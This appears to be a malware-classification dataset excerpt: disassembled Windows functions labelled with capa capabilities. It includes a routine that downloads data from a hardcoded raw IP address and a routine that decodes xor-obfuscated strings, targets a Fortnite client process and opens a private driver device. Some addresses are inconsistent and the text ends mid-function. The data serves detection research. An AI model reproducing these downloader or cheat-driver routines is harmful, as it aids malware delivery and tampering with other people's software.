joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140020f68
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14003ae50]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14001a998
xor ebx, ebx
cmp qword [0x14003d908], rbx
mov rdi, rax
jne 0x14002107b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140021152
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140021152
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14003d908], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14003d910], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14003d918], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14003d928], rax
test rax, rax
je 0x140021072
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14003d920], rax
jmp 0x140021082
mov rax, qword [0x14003d920]
jmp 0x140021089
mov rax, qword [0x14003d920]
mov r11, qword [0x14003d928]
cmp rax, rdi
je 0x1400210f0
cmp r11, rdi
je 0x1400210f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14003d928]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400210f0
test rax, rax
je 0x1400210f0
call rsi
test rax, rax
je 0x1400210ea
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400210ea
test byte [rsp + 0x40], 1
jne 0x1400210f0
bts ebp, 0x15
jmp 0x140021130
mov rcx, qword [0x14003d910]
cmp rcx, rdi
je 0x140021130
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140021130
call rax
mov rbx, rax
test rax, rax
je 0x140021130
mov rcx, qword [0x14003d918]
cmp rcx, rdi
je 0x140021130
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140021130
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14003d908]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140021152
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140021154
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400194d0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001000
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x430
xor esi, esi
lea rcx, str.DownloadFile
xor r9d, r9d
mov dword [rsp + 0x450], esi
xor r8d, r8d
mov dword [rsp + 0x20], esi
mov edi, esi
lea edx, [rsi + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x28], rsi
lea rdx, str.http:__139.159.221.73:39170_DAdDFFDfFf
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov r15, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
test rax, rax
je 0x14000112c
lea r9, [rsp + 0x450]
mov r8d, 0x400
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001123
mov qword [rsp + 0x458], rbx
mov qword [rsp + 0x460], rbp
nop dword [rax]
mov eax, dword [rsp + 0x450]
test eax, eax
je 0x140001113
lea ecx, [rsi + rax]
call fcn.140001154
mov ebx, esi
mov rbp, rax
test rdi, rdi
je 0x1400010d3
mov r8d, ebx
mov rdx, rdi
mov rcx, rax
call fcn.1400031d0
mov rcx, rdi
call fcn.14000114c
mov r8d, dword [rsp + 0x450]
lea rcx, [rbx + rbp]
lea rdx, [rsp + 0x30]
call fcn.1400031d0
add esi, dword [rsp + 0x450]
lea r9, [rsp + 0x450]
mov r8d, 0x400
lea rdx, [rsp + 0x30]
mov rcx, r14
mov rdi, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400010a0
mov rbx, qword [rsp + 0x458]
mov rbp, qword [rsp + 0x460]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, qword [rsp + 0x468]
xor eax, eax
add rsp, 0x430
pop r15
pop r14
pop rdi
ret

Function at 0x1400018e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000192a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000192a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000192a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000192a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000192a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000192c
xor al, al
add rsp, 0x28
ret

Function at 0x140005c04
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005a00
Function at 0x140008d4c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008d7c
xor eax, eax
jmp 0x140008e3f
mov rbp, rbx
cmp word [rax], si
je 0x140008da1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008d88
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008d84
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008c6c
movsxd r14, eax
test eax, eax
jne 0x140008ddf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008d75
mov rcx, r14
call fcn.140009c28
mov rdi, rax
test rax, rax
jne 0x140008df8
xor ecx, ecx
call fcn.1400072cc
jmp 0x140008dd4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008c6c
test eax, eax
jne 0x140008e29
mov rcx, rdi
call fcn.1400072cc
jmp 0x140008e33
xor ecx, ecx
call fcn.1400072cc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000c2b0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140007d3c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000c33a
cmp byte [rbp - 0x21], r15b
je 0x14000c335
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000c370
call fcn.14000a438
test eax, eax
jne 0x14000c35c
cmp byte [rbp - 0x21], r15b
je 0x14000c354
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000c370
cmp byte [rbp - 0x21], r15b
je 0x14000c36d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000731c
test eax, eax
jne 0x14000c410
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140007d3c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000c3af
cmp byte [rbp - 0x21], r15b
je 0x14000c3e4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000c3e4
call fcn.14000a438
test eax, eax
jne 0x14000c3d0
cmp byte [rbp - 0x21], r15b
je 0x14000c3c9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000c3e4
cmp byte [rbp - 0x21], r15b
je 0x14000c3e1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000731c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000c410
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000c413
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000c421
mov rcx, rdi
call fcn.1400072cc
cmp byte [rbp + 0x3f], r15b
je 0x14000c430
mov rcx, qword [rbp + 0x27]
call fcn.1400072cc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000f260
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000f288
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000f288
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140004880
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400048dd
lea rbx, [0x140141420]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400048c4
cmp r10, 2
jb 0x1400048c4
cmp byte [r9], r8b
jne 0x1400048c4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x1400048a0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000491f
lea rbx, [0x140141420]
cmp r8b, 0x23
jne 0x140004903
cmp byte [r9], r8b
jne 0x140004903
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1400048f0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140004b10
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x140004b2a
mov qword [r8], 0
lea rdx, [0x14013f6ac]
call fcn.140004930
mov rbx, rax
test rax, rax
jne 0x140004b4a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call fcn.1400b8530
mov esi, eax
cmp eax, 0xffffffff
je 0x140004c18
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call fcn.1400b9d7c
test eax, eax
jne 0x140004c18
mov rcx, rbx
call fcn.1400b8530
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140004c18
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call fcn.1400b9d7c
test eax, eax
jne 0x140004c18
cmp rdi, 0xffffffffffffffff
je 0x140004c18
mov rax, qword [0x1401b1e80]
test rax, rax
je 0x140004bba
inc dword [rax + 0xf4]
mov rcx, rdi
call fcn.1400ef898
mov rsi, rax
test rax, rax
je 0x140004c18
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call fcn.1400de04c
mov rcx, rbx
cmp rax, rdi
je 0x140004c06
call fcn.1400b985c
mov rax, qword [0x1401b1e80]
test rax, rax
je 0x140004bfc
dec dword [rax + 0xf4]
mov rcx, rsi
call fcn.1400dddb8
jmp 0x140004c20
call fcn.1400b985c
test r14, r14
je 0x140004c13
mov qword [r14], rdi
mov rax, rsi
jmp 0x140004c22
mov rcx, rbx
call fcn.1400b985c
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140016eb0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1401ad010]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1401b1e80]
mov edi, ecx
cmp byte [rbx + 0x423d], 0
jne 0x140016f11
cmp byte [rbx + 0x423e], 0
jne 0x140016f11
movsx r9d, word [rbx + 0x5332]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.1400045b0
test dil, 1
je 0x140017038
jmp 0x140016f9a
movss xmm1, dword [rbx + 0x3898]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5332]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x14018a9a0]
mulss xmm1, dword [0x14018a980]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0xdfc]
addss xmm1, dword [rbx + 0xe00]
mov qword [rbx + 0x3fa8], rax
mov dword [rbx + 0x3f94], 1
movss dword [rbx + 0x3fa0], xmm0
movss dword [rbx + 0x3fa4], xmm1
movss xmm0, dword [rbx + 0x38f4]
mulss xmm0, dword [0x14018a860]
or dword [rbx + 0x3f90], 0x41
movss dword [rbx + 0x3ff0], xmm0
call fcn.1400045b0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140016ff0
lea r11, [0x140141420]
nop word [rax + rax]
cmp r9b, 0x23
jne 0x140016fd3
cmp byte [r8], r9b
jne 0x140016fd3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140016fc0
not ecx
call fcn.14000e5a0
test rax, rax
je 0x140017038
cmp byte [rax + 0x96], 0
je 0x140017038
mov byte [rax + 0x9d], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xb8], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x5332]
mov edx, 0x10
movsx r9d, word [rbx + 0x5332]
call fcn.1400045b0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.1400111e0
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140073940
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x14005d2e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x1401ad010]
xor rax, rsp
mov qword [rbp - 8], rax
mov edi, dword [0x1401b2064]
movsxd rax, dword [0x1401b1f94]
xor r9d, r9d
cmp eax, 0x66
ja 0x14005d320
lea r9, str.No_Key_Selected
mov r9, qword [r9 + rax*8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
test r9, r9
jne 0x14005d366
mov qword [rbp - 0x18], 0xa
movsd xmm0, qword [str.Select_Key]
movsd qword [rbp - 0x28], xmm0
movzx eax, word [0x14018a320]
mov word [rbp - 0x20], ax
mov byte [rbp - 0x1e], r9b
jmp 0x14005d3a2
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [r9 + rbx], 0
jne 0x14005d370
lea rcx, [rbp - 0x28]
cmp rbx, 0xf
ja 0x14005d39a
mov qword [rbp - 0x18], rbx
mov r8, rbx
mov rdx, r9
call fcn.1400a9f70
mov byte [rbp + rbx - 0x28], 0
jmp 0x14005d3a2
mov rdx, rbx
call fcn.14006ff80
cmp edi, 1
jne 0x14005d3f4
mov rax, qword [rbp - 0x10]
cmp rax, 0xd
jb 0x14005d3df
lea rbx, [rbp - 0x28]
cmp rax, 0x10
cmovae rbx, qword [rbp - 0x28]
mov qword [rbp - 0x18], 0xd
lea r8d, [rdi + 0xc]
lea rdx, str.Press_the_key
mov rcx, rbx
call fcn.1400a9f70
mov byte [rbx + 0xd], 0
jmp 0x14005d3f4
lea r9, str.Press_the_key
mov edx, 0xd
lea rcx, [rbp - 0x28]
call fcn.14006ff80
mov dword [rbp - 0x30], 0x42fa0000
mov dword [rbp - 0x2c], 0x41a00000
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rcx, qword [rbp - 0x28]
lea rdx, [rbp - 0x30]
call fcn.14003c6a0
test al, al
je 0x14005d443
test edi, edi
jne 0x14005d443
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x14005d270]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14005d47a
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d475
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d496
call fcn.140073a78
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140073940
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret
call fcn.1400f2144
int3
Function at 0x140066c10
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp + 0x10], 0x39252b
mov byte [rbp + 0x14], 1
xor ebx, ebx
mov ecx, ebx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x48]
xor byte [rbp + rcx + 0x10], al
inc rcx
cmp rcx, 3
jb 0x140066c40
mov byte [rbp + 0x14], bl
lea rcx, [rbp + 0x10]
call fcn.1400f3ed0
mov dword [rbp - 0x30], 0x24066942
mov dword [rbp - 0x2c], 0x2127292d
mov dword [rbp - 0x28], 0x7c7f37
mov byte [rbp - 0x24], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 0x48]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0xb
jb 0x140066c80
mov byte [rbp - 0x24], bl
lea rdx, [rbp - 0x30]
call fcn.14006e870
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], rbx
mov r8d, 0x21
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp - 0x20]
call fcn.14006f840
lea rcx, [rbp - 0x20]
call fcn.140066a50
mov dword [0x1401b1ed8], eax
mov ecx, 0x10
call fcn.140073c64
mov rdi, rax
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov ecx, dword [0x1401b1ed8]
mov dword [rax + 8], ecx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
lea rcx, str..privatedriver
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rdi], rax
mov qword [0x1401b1fa8], rdi
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], rbx
mov r8d, 0x21
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp - 0x20]
call fcn.14006f840
nop
lea rdx, [rbp - 0x20]
call fcn.140072fa0
mov qword [0x1401b1f10], rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140066d91
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066d8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066dd1
call fcn.140073a78
mov dword [rbp + 0x10], 0x39252b
mov byte [rbp + 0x14], 1
nop dword [rax]
lea eax, [rbx + 0x48]
xor byte [rbp + rbx + 0x10], al
inc rbx
cmp rbx, 3
jb 0x140066da0
mov byte [rbp + 0x14], 0
lea rcx, [rbp + 0x10]
call fcn.1400f3ed0
mov al, 1
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.1400f2144
int3
Function at 0x140067b40
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140067b62
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x140067bdc
mov rdi, r14
mov rcx, rbx
call fcn.14006b170
test rax, rax
jle 0x140067bb4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.1400a9f70
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x140067bcc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140067bd4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140067b76
sub r14, rdi
jmp 0x140067cbf
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140067bf3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140067bf5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140067c27
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1400a9f70
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140067cbc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140067c62
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x140067c9d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1400de04c
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x140067cbc
cmp rbp, rax
ja 0x140067c70
test rbp, rbp
je 0x140067cbc
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1400de04c
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x140074414
Capabilities:
Create thread
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov ecx, 1
call fcn.140073eb0
test al, al
je 0x14007437b
xor sil, sil
mov byte [rsp + 0x20], sil
call fcn.140073d44
mov bl, al
mov ecx, dword [0x1401afcb0]
cmp ecx, 1
je 0x140074386
test ecx, ecx
jne 0x1400742b1
mov dword [0x1401afcb0], 1
lea rdx, [0x140130668]
lea rcx, [0x140130628]
call fcn.1400f6c94
test eax, eax
je 0x140074292
mov eax, 0xff
jmp 0x14007436b
lea rdx, [0x140130620]
lea rcx, [0x140130598]
call fcn.1400f6c50
mov dword [0x1401afcb0], 2
jmp 0x1400742b9
mov sil, 1
mov byte [rsp + 0x20], sil
mov cl, bl
call fcn.140074020
call fcn.140075058
mov rbx, rax
cmp qword [rax], 0
je 0x1400742ec
mov rcx, rax
call fcn.140073f88
test al, al
je 0x1400742ec
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [rbx]
call qword [0x140130570]
call fcn.140075060
mov rbx, rax
cmp qword [rax], 0
je 0x14007430e
mov rcx, rax
call fcn.140073f88
test al, al
je 0x14007430e
mov rcx, qword [rbx]
call fcn.1400f267c
call fcn.1400f5ff0
mov rdi, rax
call fcn.1400f6f88
mov rbx, qword [rax]
call fcn.1400f6f80
mov r8, rdi
mov rdx, rbx
mov ecx, dword [rax]
call main
mov ebx, eax
call fcn.140074e14
test al, al
je 0x140074390
test sil, sil
jne 0x140074345
call fcn.1400f2658
xor edx, edx
mov cl, 1
call fcn.140074044
mov eax, ebx
jmp 0x14007436b
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, 7
call fcn.140074c80
nop
mov ecx, 7
call fcn.140074c80
mov ecx, ebx
call fcn.1400f26bc
nop
mov ecx, ebx
call fcn.1400f2668
nop
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
call fcn.1400f5ff0
mov rdi, rax
call fcn.1400f6f88
mov rbx, qword [rax]
call fcn.1400f6f80
mov r8, rdi
mov rdx, rbx
mov ecx, dword [rax]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp main
sub rsp, 0x28
call fcn.140074f44
add rsp, 0x28
jmp 0x140074224

Function at 0x140074e14
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140074e5e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140074e5e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140074e5e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140074e5e
cmp dword [rcx + 0x84], 0xe
jbe 0x140074e5e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140074e60
xor al, al
add rsp, 0x28
ret

Function at 0x14009b5b0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x1400831fe
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x1400831e1
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x1400831cc

Function at 0x14009b5c4
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x140083236
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140083219
